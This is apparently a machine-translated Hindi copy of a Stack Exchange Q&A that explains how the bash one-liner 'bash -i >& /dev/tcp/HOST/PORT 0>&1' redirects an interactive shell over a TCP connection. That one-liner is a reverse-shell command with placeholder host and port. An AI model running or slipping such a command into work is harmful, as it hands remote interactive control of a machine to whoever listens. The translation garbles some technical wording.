बश का अर्थ -i> और / देव / tcp / HOST / PORT 0> & 1?


15

मैंने कोशिश की

bash -i >& /dev/tcp/HOST/PORT 0>&1

लेकिन यह फ़ायरवॉल के पीछे काम नहीं करता है। यह कोड वास्तव में क्या करता है, किन बंदरगाहों को अग्रेषित किया जाता है और क्या यह फायरवॉल के पीछे काम कर सकता है?

जवाबों:


17

यह स्निपेट bash -iबश प्रक्रिया की अवधि के लिए बनाए गए निर्दिष्ट होस्ट पर निर्दिष्ट पोर्ट पर एक टीसीपी कनेक्शन पर, बैश ( ) का एक नया इंटरएक्टिव उदाहरण चलाता है । मानक कनेक्शन और मानक त्रुटि को इस कनेक्शन ( >& /dev/tcp/HOST/PORT) के माध्यम से भेजा जाता है , और मानक इनपुट को इस कनेक्शन के माध्यम से पढ़ा जाता है ( 0>&1- यह होना चाहिए 0<&1लेकिन यह 0>&1भी काम करता है)।

कोई पोर्ट अग्रेषण नहीं चल रहा है। जाहिर है, किसी प्रकार के एक टीसीपी सर्वर को उस HOST: PORT पर कनेक्शन को सुनना और स्वीकार करना होगा, और फ़ायरवॉल को कनेक्शन के माध्यम से जाने देना होगा।


क्या कनेक्शन है '/ dev / tcp / HOST / PORT' होस्ट को कहाँ परिभाषित किया गया है और पोर्ट को कहाँ परिभाषित किया गया है?
हेल्स

2
@ हेलोस क्या आपने सचमुच देखा /dev/tcp/HOST/PORT? मैंने मान लिया कि आपने एक नाम HOSTऔर एक संख्या को बदल दिया है PORT। अन्यथा आपको बैश से एक त्रुटि संदेश मिलेगा। चूंकि आपने किसी त्रुटि संदेश का उल्लेख नहीं किया है, इसलिए मैं मानता हूं कि आपने एक नहीं देखा।
गिलेस एसओ- बुराई को रोकना '

1
@ दोस्तों, मैं इस 0<&1हिस्से को पचा नहीं सकता । मैंने इसे 'बैश स्टैडआउट ( &1) के रूप में पढ़ा और इसे बैश स्टैडिन ( 0)' में पाइप किया , जो समझ में आता है। क्या आप बता सकते हैं कि यह हिस्सा कैसे काम करता है?
गोलेम

5
@ अहले यह एक पुनर्निर्देशन है। कोई पाइप शामिल नहीं है। 0<&1का मतलब है कि जो कुछ भी वर्तमान में फाइल डिस्क्रिप्टर 1 पर फाइल डिस्क्रिप्टर से >& /dev/tcp/HOST/PORTजुड़ा हुआ है , उसे 0. कनेक्ट करें । चूंकि पिछला रीडायरेक्शन जुड़ा हुआ है fd 1 (आउटपुट रिडायरेक्शन के लिए डिफ़ॉल्ट) /dev/tcp/HOST/PORT, यानी टीसीपी सॉकेट खोला गया है, यह टीसीपी कनेक्शन को डिस्क्रिप्टर 0 (यानी ) दर्ज करने के लिए डुप्लिकेट करता है। वही सॉकेट अब fd 0 पर भी खुला है, यह 0 </ dev / tcp / HOST / PORT से भिन्न है जो एक ही सर्वर पर एक अलग सॉकेट खोल देगा)।
गिलेस एसओ- बुराई को रोकना '

कनेक्ट करना मेरी समझ का एक कीवर्ड था; वास्तव में मुझे उलझन में डालने वाली प्रक्रिया को कॉल करना क्या था।
गोलेम
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.